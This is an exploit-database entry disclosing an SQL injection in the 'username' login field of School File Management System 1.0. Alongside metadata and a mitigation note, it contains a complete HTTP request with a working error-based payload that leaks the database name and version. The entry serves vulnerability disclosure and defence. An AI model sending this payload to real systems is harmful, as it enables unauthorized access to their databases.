School File Management System 1.0 - 'username' SQL Injection

vendor:

School File Management System

by:

Tarun Sehgal

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: School File Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: N/A

Related CWE: N/A

CPE: a:sourcecodester:school_file_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

2020

School File Management System 1.0 – ‘username’ SQL Injection

An attacker can inject malicious SQL code into the 'username' parameter of the School File Management System 1.0 application. By sending a specially crafted request, an attacker can print the database name and MariaDB version.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: School File Management System 1.0  - 'username' SQL Injection
# Date: 2020-05-04
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/php/14155/school-file-management-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: username
# Injected Request
POST /sfms/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://localhost
Connection: close
Referer: http://localhost/sfms/admin/index.php
Cookie: PHPSESSID=084gi60nhgqp5lpba3q6qngk9g
Upgrade-Insecure-Requests: 1

username=admin' OR 1 GROUP BY CONCAT(database(),(SELECT (CASE WHEN (7665=7665) THEN 1 ELSE 0 END)),0x3a,0x3a,version(),FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=admin&login=



//Comment
Above request will print database name and MariaDB version.